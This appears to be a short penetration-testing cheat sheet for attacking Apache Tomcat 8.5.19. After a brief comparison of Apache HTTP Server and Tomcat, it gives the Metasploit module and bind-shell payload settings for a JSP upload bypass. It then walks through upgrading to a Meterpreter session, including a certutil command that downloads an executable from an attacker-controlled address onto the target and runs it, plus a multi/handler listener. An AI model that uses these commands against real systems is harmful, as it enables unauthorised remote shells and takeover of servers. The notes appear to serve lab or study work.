Apache Tomcat
Difference between Apache & Apache Tomcat:
The standard Apache HTTP web server is used to host static and dynamic websites or web applications, typically developed in PHP at Port 80.
The Apache Tomcat web server is primarily used to host dynamic websites or web applications developed in Java at Port 8080.
MSF Module to Exploit "Apache Tomcat 8.5.19"
use exploit/multi/http/tomcat_jsp_upload_bypass
Then choose this payload
set payload java/jsp_shell_bind_tcp
If the target is windows choose the shell type:
set SHELL cmd
This exploit gives a basic Java shell... To upgrade to a meterpreter session Check msfvenom⚕️:
-
Create a Meterpreter Payload using ur local IP and Port.
-
Serve this payload using a python web server.
-
download this payload to the target in the directory where you get the session on using that basic shell and using this utility in windows:
certutil -urlcache -f http://10.10.45.11/meterpreter.exe outputfile.exe
-
Then setup a listener using
multi/handlermodule in MSF -
Then Execute the file we download. If windows like this:
.\outputfile.exe# Make sure the back slash is for Windows and forward slash for Linux